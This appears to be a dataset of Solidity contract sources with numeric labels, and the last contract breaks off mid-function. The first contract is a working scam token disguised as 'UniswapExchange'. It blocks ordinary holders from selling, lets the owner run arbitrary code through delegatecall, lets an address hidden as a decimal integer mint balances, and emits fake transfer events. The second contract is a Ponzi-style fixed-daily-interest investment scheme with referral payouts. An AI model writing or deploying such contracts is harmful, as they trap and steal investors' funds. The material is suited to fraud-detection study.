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pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,841 |
pragma solidity ^0.4.25;
contract Ownable
{
address public laxmi;
address public newLaxmi;
constructor() public
{
laxmi = msg.sender;
}
modifier onlyLaxmi()
{
require(msg.sender == laxmi, "Can used only by owner");
_;
}
function changeLaxmi(address _laxmi) onlyLaxmi public
{
require(_laxmi != 0, "Please provide new owner address");
newLaxmi = _laxmi;
}
function confirmLaxmi() public
{
require(newLaxmi == msg.sender, "Please call from new owner");
laxmi = newLaxmi;
delete newLaxmi;
}
}
library SafeMath
{
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
if (_a == 0) { return 0; }
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256)
{
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256)
{
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c)
{
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract KassaNetwork is Ownable
{
using SafeMath for uint;
string public constant name = 'Kassa 200/50';
uint public startTimestamp = now;
uint public constant procKoef = 10000;
uint public constant perDay = 75;
uint public constant ownerFee = 700;
uint[3] public bonusReferrer = [500, 200, 100];
uint public constant procReturn = 9000;
uint public constant maxDepositDays = 200;
uint public constant minimalDeposit = 0.5 ether;
uint public constant maximalDepositStart = 30 ether;
uint public constant maximalDepositFinish = 100 ether;
uint public constant minimalDepositForBonusReferrer = 0.015 ether;
uint public constant dayLimitStart = 50 ether;
uint public constant progressProcKoef = 100;
uint public constant dayLimitProgressProc = 2;
uint public constant maxDepositProgressProc = 1;
uint public countInvestors = 0;
uint public totalInvest = 0;
uint public totalPenalty = 0;
uint public totalSelfInvest = 0;
uint public totalPaid = 0;
uint public unlimitedInvest = 3000 ether;
bool public isUnlimitedContractInvest = false;
bool public isUnlimitedDayInvest = false;
event LogInvestment(address _addr, uint _value, bytes _refData);
event LogTransfer(address _addr, uint _amount, uint _contactBalance);
event LogSelfInvestment(uint _value);
event LogPreparePayment(address _addr, uint _totalInteres, uint _paidInteres, uint _amount);
event LogSkipPreparePayment(address _addr, uint _totalInteres, uint _paidInteres);
event LogPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals, uint _amount);
event LogSkipPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals);
event LogNewReferralAtLevel(address _addr, uint[3] _levels);
event LogMinimalDepositPayment(address _addr, uint _money, uint _totalPenalty);
event LogPenaltyPayment(address _addr, uint currentSenderDeposit, uint referrerAdressLength, address _referrer, uint currentReferrerDeposit, uint _money, uint _sendBackAmount, uint _totalPenalty);
event LogExceededRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _badDeposit, uint _sendBackAmount, uint _totalPenalty, uint _willDeposit);
event LogUsedRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _realDeposit, uint _usedDepositPerDay);
event LogCalcBonusReferrer(address _referrer, uint _money, uint _index, uint _bonusReferrer, uint _amountReferrer, address _nextReferrer);
struct User
{
uint balance;
uint paidInteres;
uint timestamp;
uint countReferrals;
uint[3] countReferralsByLevel;
uint earnOnReferrals;
uint paidReferrals;
address referrer;
}
mapping (address => User) private user;
mapping (uint => uint) private usedDeposit;
function getInteres(address addr) private view returns(uint interes)
{
uint diffDays = getNDay(user[addr].timestamp);
if( diffDays > maxDepositDays ) diffDays = maxDepositDays;
interes = user[addr].balance.mul(perDay).mul(diffDays).div(procKoef);
}
function getUser(address addr) public view returns(uint balance, uint timestamp, uint paidInteres, uint totalInteres, uint countReferrals, uint[3] countReferralsByLevel, uint earnOnReferrals, uint paidReferrals, address referrer)
{
address a = addr;
return (
user[a].balance,
user[a].timestamp,
user[a].paidInteres,
getInteres(a),
user[a].countReferrals,
user[a].countReferralsByLevel,
user[a].earnOnReferrals,
user[a].paidReferrals,
user[a].referrer
);
}
function getCurrentDay() public view returns(uint nday)
{
nday = getNDay(startTimestamp);
}
function getNDay(uint date) public view returns(uint nday)
{
uint diffTime = date > 0 ? now.sub(date) : 0;
nday = diffTime.div(24 hours);
}
function getCurrentDayDepositLimit() public view returns(uint limit)
{
if (isUnlimitedDayInvest) {
limit = maximalDepositFinish;
return limit;
}
uint nDay = getCurrentDay();
uint dayDepositLimit = getDayDepositLimit(nDay);
if (dayDepositLimit <= maximalDepositFinish)
{
limit = dayDepositLimit;
}
else
{
limit = maximalDepositFinish;
}
}
function calcProgress(uint start, uint proc, uint nDay) public pure returns(uint res)
{
uint s = start;
uint base = 1 ether;
if (proc == 1)
{
s = s + base.mul(nDay.mul(nDay).mul(35).div(10000)) + base.mul(nDay.mul(4589).div(10000));
}
else
{
s = s + base.mul(nDay.mul(nDay).mul(141).div(10000)) + base.mul(nDay.mul(8960).div(10000));
}
return s;
}
function getDayDepositLimit(uint nDay) public pure returns(uint limit)
{
return calcProgress(dayLimitStart, dayLimitProgressProc, nDay );
}
function getMaximalDeposit(uint nDay) public pure returns(uint limit)
{
return calcProgress(maximalDepositStart, maxDepositProgressProc, nDay );
}
function getCurrentDayRestDepositLimit() public view returns(uint restLimit)
{
uint nDay = getCurrentDay();
restLimit = getDayRestDepositLimit(nDay);
}
function getDayRestDepositLimit(uint nDay) public view returns(uint restLimit)
{
restLimit = getCurrentDayDepositLimit().sub(usedDeposit[nDay]);
}
function getCurrentMaximalDeposit() public view returns(uint maximalDeposit)
{
uint nDay = getCurrentDay();
if (isUnlimitedContractInvest)
{
maximalDeposit = 0;
}
else
{
maximalDeposit = getMaximalDeposit(nDay);
}
}
function() external payable
{
emit LogInvestment(msg.sender, msg.value, msg.data);
processPayment(msg.value, msg.data);
}
function processPayment(uint moneyValue, bytes refData) private
{
if (msg.sender == laxmi)
{
totalSelfInvest = totalSelfInvest.add(moneyValue);
emit LogSelfInvestment(moneyValue);
return;
}
if (moneyValue == 0)
{
preparePayment();
return;
}
if (moneyValue < minimalDeposit)
{
totalPenalty = totalPenalty.add(moneyValue);
emit LogMinimalDepositPayment(msg.sender, moneyValue, totalPenalty);
return;
}
checkLimits(moneyValue);
address referrer = bytesToAddress(refData);
if (user[msg.sender].balance > 0 ||
refData.length != 20 ||
(!isUnlimitedContractInvest && moneyValue > getCurrentMaximalDeposit()) ||
referrer != laxmi &&
(
user[referrer].balance <= 0 ||
referrer == msg.sender)
)
{
uint amount = moneyValue.mul(procReturn).div(procKoef);
totalPenalty = totalPenalty.add(moneyValue.sub(amount));
emit LogPenaltyPayment(msg.sender, user[msg.sender].balance, refData.length, referrer, user[referrer].balance, moneyValue, amount, totalPenalty);
msg.sender.transfer(amount);
return;
}
uint nDay = getCurrentDay();
uint restDepositPerDay = getDayRestDepositLimit(nDay);
uint addDeposit = moneyValue;
if (!isUnlimitedDayInvest && moneyValue > restDepositPerDay)
{
uint returnDeposit = moneyValue.sub(restDepositPerDay);
uint returnAmount = returnDeposit.mul(procReturn).div(procKoef);
addDeposit = addDeposit.sub(returnDeposit);
totalPenalty = totalPenalty.add(returnDeposit.sub(returnAmount));
emit LogExceededRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, returnDeposit, returnAmount, totalPenalty, addDeposit);
msg.sender.transfer(returnAmount);
}
usedDeposit[nDay] = usedDeposit[nDay].add(addDeposit);
emit LogUsedRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, addDeposit, usedDeposit[nDay]);
registerInvestor(referrer);
sendOwnerFee(addDeposit);
calcBonusReferrers(referrer, addDeposit);
updateInvestBalance(addDeposit);
}
function registerInvestor(address referrer) private
{
user[msg.sender].timestamp = now;
countInvestors++;
user[msg.sender].referrer = referrer;
countReferralsByLevel(referrer, 0);
}
function countReferralsByLevel(address referrer, uint level) private
{
if (level > 2)
{
return;
}
uint l = level;
user[referrer].countReferralsByLevel[l]++;
emit LogNewReferralAtLevel(referrer, user[referrer].countReferralsByLevel);
address _nextReferrer = user[referrer].referrer;
if (_nextReferrer != 0)
{
l++;
countReferralsByLevel(_nextReferrer, l);
}
return;
}
function sendOwnerFee(uint addDeposit) private
{
transfer(laxmi, addDeposit.mul(ownerFee).div(procKoef));
}
function calcBonusReferrers(address referrer, uint addDeposit) private
{
address r = referrer;
for (uint i = 0; i < bonusReferrer.length && r != 0; i++)
{
uint amountReferrer = addDeposit.mul(bonusReferrer[i]).div(procKoef);
address nextReferrer = user[r].referrer;
emit LogCalcBonusReferrer(r, addDeposit, i, bonusReferrer[i], amountReferrer, nextReferrer);
preparePaymentReferrer(r, amountReferrer);
r = nextReferrer;
}
}
function checkLimits(uint value) private
{
if (totalInvest + value > unlimitedInvest)
{
isUnlimitedContractInvest = true;
}
uint nDay = getCurrentDay();
uint dayDepositLimit = getDayDepositLimit(nDay);
if (dayDepositLimit > maximalDepositFinish)
{
isUnlimitedDayInvest = true;
}
}
function preparePaymentReferrer(address referrer, uint amountReferrer) private
{
user[referrer].earnOnReferrals = user[referrer].earnOnReferrals.add(amountReferrer);
uint totalReferrals = user[referrer].earnOnReferrals;
uint paidReferrals = user[referrer].paidReferrals;
if (totalReferrals >= paidReferrals.add(minimalDepositForBonusReferrer))
{
uint amount = totalReferrals.sub(paidReferrals);
user[referrer].paidReferrals = user[referrer].paidReferrals.add(amount);
emit LogPreparePaymentReferrer(referrer, totalReferrals, paidReferrals, amount);
transfer(referrer, amount);
}
else
{
emit LogSkipPreparePaymentReferrer(referrer, totalReferrals, paidReferrals);
}
}
function preparePayment() public
{
uint totalInteres = getInteres(msg.sender);
uint paidInteres = user[msg.sender].paidInteres;
if (totalInteres > paidInteres)
{
uint amount = totalInteres.sub(paidInteres);
emit LogPreparePayment(msg.sender, totalInteres, paidInteres, amount);
user[msg.sender].paidInteres = user[msg.sender].paidInteres.add(amount);
transfer(msg.sender, amount);
}
else
{
emit LogSkipPreparePayment(msg.sender, totalInteres, paidInteres);
}
}
function updateInvestBalance(uint addDeposit) private
{
user[msg.sender].balance = user[msg.sender].balance.add(addDeposit);
totalInvest = totalInvest.add(addDeposit);
}
function transfer(address receiver, uint amount) private
{
if (amount > 0)
{
if (receiver != laxmi) { totalPaid = totalPaid.add(amount); }
uint balance = address(this).balance;
emit LogTransfer(receiver, amount, balance);
require(amount < balance, "Not enough balance. Please retry later.");
receiver.transfer(amount);
}
}
function bytesToAddress(bytes source) private pure returns(address addr)
{
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function getTotals() public view returns(uint _maxDepositDays,
uint _perDay,
uint _startTimestamp,
uint _minimalDeposit,
uint _maximalDeposit,
uint[3] _bonusReferrer,
uint _minimalDepositForBonusReferrer,
uint _ownerFee,
uint _countInvestors,
uint _totalInvest,
uint _totalPenalty,
uint _totalPaid,
uint _currentDayDepositLimit,
uint _currentDayRestDepositLimit)
{
return (
maxDepositDays,
perDay,
startTimestamp,
minimalDeposit,
getCurrentMaximalDeposit(),
bonusReferrer,
minimalDepositForBonusReferrer,
ownerFee,
countInvestors,
totalInvest,
totalPenalty,
totalPaid,
getCurrentDayDepositLimit(),
getCurrentDayRestDepositLimit()
);
}
} | 0 | 537 |
pragma solidity ^0.4.16;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MultiTransfer is Ownable {
ERC20 public tkcAddress;
function MultiTransfer() public {
}
function setTKC(address tkc) public onlyOwner {
require(tkcAddress == address(0));
tkcAddress = ERC20(tkc);
}
function transfer(address[] to, uint[] value) public onlyOwner {
require(to.length == value.length);
for (uint i = 0; i < to.length; i++) {
tkcAddress.transferFrom(owner, to[i], value[i]);
}
}
} | 1 | 2,806 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause(uint256 _id);
event Unpause(uint256 _id);
bool public paused_1 = false;
bool public paused_2 = false;
bool public paused_3 = false;
bool public paused_4 = false;
modifier whenNotPaused_1() {
require(!paused_1);
_;
}
modifier whenNotPaused_2() {
require(!paused_2);
_;
}
modifier whenNotPaused_3() {
require(!paused_3);
_;
}
modifier whenNotPaused_4() {
require(!paused_4);
_;
}
modifier whenPaused_1() {
require(paused_1);
_;
}
modifier whenPaused_2() {
require(paused_2);
_;
}
modifier whenPaused_3() {
require(paused_3);
_;
}
modifier whenPaused_4() {
require(paused_4);
_;
}
function pause_1() onlyOwner whenNotPaused_1 public {
paused_1 = true;
emit Pause(1);
}
function pause_2() onlyOwner whenNotPaused_2 public {
paused_2 = true;
emit Pause(2);
}
function pause_3() onlyOwner whenNotPaused_3 public {
paused_3 = true;
emit Pause(3);
}
function pause_4() onlyOwner whenNotPaused_4 public {
paused_4 = true;
emit Pause(4);
}
function unpause_1() onlyOwner whenPaused_1 public {
paused_1 = false;
emit Unpause(1);
}
function unpause_2() onlyOwner whenPaused_2 public {
paused_2 = false;
emit Unpause(2);
}
function unpause_3() onlyOwner whenPaused_3 public {
paused_3 = false;
emit Unpause(3);
}
function unpause_4() onlyOwner whenPaused_4 public {
paused_4 = false;
emit Unpause(4);
}
}
contract JCLYLong is Pausable {
using SafeMath for *;
event KeyPurchase(address indexed purchaser, uint256 eth, uint256 amount);
event LeekStealOn();
address private constant WALLET_ETH_COM1 = 0x2509CF8921b95bef38DEb80fBc420Ef2bbc53ce3;
address private constant WALLET_ETH_COM2 = 0x18d9fc8e3b65124744553d642989e3ba9e41a95a;
uint256 constant private rndInit_ = 10 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 constant private ethLimiterRange1_ = 1e20;
uint256 constant private ethLimiterRange2_ = 5e20;
uint256 constant private ethLimiter1_ = 2e18;
uint256 constant private ethLimiter2_ = 7e18;
uint256 constant private whitelistRange_ = 1 days;
uint256 constant private priceStage1_ = 500e18;
uint256 constant private priceStage2_ = 1000e18;
uint256 constant private priceStage3_ = 2000e18;
uint256 constant private priceStage4_ = 4000e18;
uint256 constant private priceStage5_ = 8000e18;
uint256 constant private priceStage6_ = 16000e18;
uint256 constant private priceStage7_ = 32000e18;
uint256 constant private priceStage8_ = 64000e18;
uint256 constant private priceStage9_ = 128000e18;
uint256 constant private priceStage10_ = 256000e18;
uint256 constant private priceStage11_ = 512000e18;
uint256 constant private priceStage12_ = 1024000e18;
uint256 constant private guPhrase1_ = 5 days;
uint256 constant private guPhrase2_ = 7 days;
uint256 constant private guPhrase3_ = 9 days;
uint256 constant private guPhrase4_ = 11 days;
uint256 constant private guPhrase5_ = 13 days;
uint256 constant private guPhrase6_ = 15 days;
uint256 constant private guPhrase7_ = 17 days;
uint256 constant private guPhrase8_ = 19 days;
uint256 constant private guPhrase9_ = 21 days;
uint256 constant private guPhrase10_ = 23 days;
uint256 public contractStartDate_;
uint256 public allMaskGu_;
uint256 public allGuGiven_;
mapping (uint256 => uint256) public playOrders_;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (uint256 => mapping (uint256 => uint256)) public airDropWinners_;
uint256 public airDropCount_;
uint256 public leekStealPot_;
uint256 public leekStealTracker_ = 0;
uint256 public leekStealToday_;
bool public leekStealOn_;
mapping (uint256 => uint256) public dayStealTime_;
mapping (uint256 => uint256) public leekStealWins_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => Datasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Datasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (uint256 => Datasets.PlayerPhrases)) public plyrPhas_;
uint256 public rID_;
mapping (uint256 => Datasets.Round) public round_;
uint256 public phID_;
mapping (uint256 => Datasets.Phrase) public phrase_;
mapping(address => bool) public whitelisted_Prebuy;
constructor()
public
{
pIDxAddr_[owner] = 0;
plyr_[0].addr = owner;
pIDxAddr_[WALLET_ETH_COM1] = 1;
plyr_[1].addr = WALLET_ETH_COM1;
pIDxAddr_[WALLET_ETH_COM2] = 2;
plyr_[2].addr = WALLET_ETH_COM2;
pID_ = 2;
}
modifier isActivated() {
require(activated_ == true);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000);
require(_eth <= 100000000000000000000000);
_;
}
modifier withinMigrationPeriod() {
require(now < 1535637600);
_;
}
function deposit()
isWithinLimits(msg.value)
onlyOwner
public
payable
{}
function migrateBasicData(uint256 allMaskGu, uint256 allGuGiven,
uint256 airDropPot, uint256 airDropTracker, uint256 leekStealPot, uint256 leekStealTracker, uint256 leekStealToday,
uint256 pID, uint256 rID, uint256 phID)
withinMigrationPeriod
onlyOwner
public
{
allMaskGu_ = allMaskGu;
allGuGiven_ = allGuGiven;
airDropPot_ = airDropPot;
airDropTracker_ = airDropTracker;
leekStealPot_ = leekStealPot;
leekStealTracker_ = leekStealTracker;
leekStealToday_ = leekStealToday;
pID_ = pID;
rID_ = rID;
phID_ = phID;
}
function migratePlayerData1(uint256 _pID, address addr, uint256 win,
uint256 gen, uint256 genGu, uint256 aff, uint256 refund, uint256 lrnd,
uint256 laff, uint256 withdraw)
withinMigrationPeriod
onlyOwner
public
{
pIDxAddr_[addr] = _pID;
plyr_[_pID].addr = addr;
plyr_[_pID].win = win;
plyr_[_pID].gen = gen;
plyr_[_pID].genGu = genGu;
plyr_[_pID].aff = aff;
plyr_[_pID].refund = refund;
plyr_[_pID].lrnd = lrnd;
plyr_[_pID].laff = laff;
plyr_[_pID].withdraw = withdraw;
}
function migratePlayerData2(uint256 _pID, address addr, uint256 maskGu,
uint256 gu, uint256 referEth, uint256 lastClaimedPhID)
withinMigrationPeriod
onlyOwner
public
{
pIDxAddr_[addr] = _pID;
plyr_[_pID].addr = addr;
plyr_[_pID].maskGu = maskGu;
plyr_[_pID].gu = gu;
plyr_[_pID].referEth = referEth;
plyr_[_pID].lastClaimedPhID = lastClaimedPhID;
}
function migratePlayerRoundsData(uint256 _pID, uint256 eth, uint256 keys, uint256 maskKey, uint256 genWithdraw)
withinMigrationPeriod
onlyOwner
public
{
plyrRnds_[_pID][1].eth = eth;
plyrRnds_[_pID][1].keys = keys;
plyrRnds_[_pID][1].maskKey = maskKey;
plyrRnds_[_pID][1].genWithdraw = genWithdraw;
}
function migratePlayerPhrasesData(uint256 _pID, uint256 eth, uint256 guRewarded)
withinMigrationPeriod
onlyOwner
public
{
plyrPhas_[_pID][1].eth = eth;
plyrPhas_[_pID][1].guRewarded = guRewarded;
}
function migrateRoundData(uint256 plyr, uint256 end, bool ended, uint256 strt,
uint256 allkeys, uint256 keys, uint256 eth, uint256 pot, uint256 maskKey, uint256 playCtr, uint256 withdraw)
withinMigrationPeriod
onlyOwner
public
{
round_[1].plyr = plyr;
round_[1].end = end;
round_[1].ended = ended;
round_[1].strt = strt;
round_[1].allkeys = allkeys;
round_[1].keys = keys;
round_[1].eth = eth;
round_[1].pot = pot;
round_[1].maskKey = maskKey;
round_[1].playCtr = playCtr;
round_[1].withdraw = withdraw;
}
function migratePhraseData(uint256 eth, uint256 guGiven, uint256 mask,
uint256 minEthRequired, uint256 guPoolAllocation)
withinMigrationPeriod
onlyOwner
public
{
phrase_[1].eth = eth;
phrase_[1].guGiven = guGiven;
phrase_[1].mask = mask;
phrase_[1].minEthRequired = minEthRequired;
phrase_[1].guPoolAllocation = guPoolAllocation;
}
function updateWhitelist(address[] _addrs, bool _isWhitelisted)
public
onlyOwner
{
for (uint i = 0; i < _addrs.length; i++) {
whitelisted_Prebuy[_addrs[i]] = _isWhitelisted;
}
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[msg.sender] = pID_;
plyr_[pID_].addr = msg.sender;
_pID = pID_;
}
buyCore(_pID, plyr_[_pID].laff);
}
function buyXid(uint256 _affID)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[msg.sender] = pID_;
plyr_[pID_].addr = msg.sender;
_pID = pID_;
}
if (_affID == 0 || _affID == _pID || _affID > pID_)
{
_affID = plyr_[_pID].laff;
}
else if (_affID != plyr_[_pID].laff)
{
if (plyr_[_pID].laff == 0)
plyr_[_pID].laff = _affID;
else
_affID = plyr_[_pID].laff;
}
buyCore(_pID, _affID);
}
function reLoadXid()
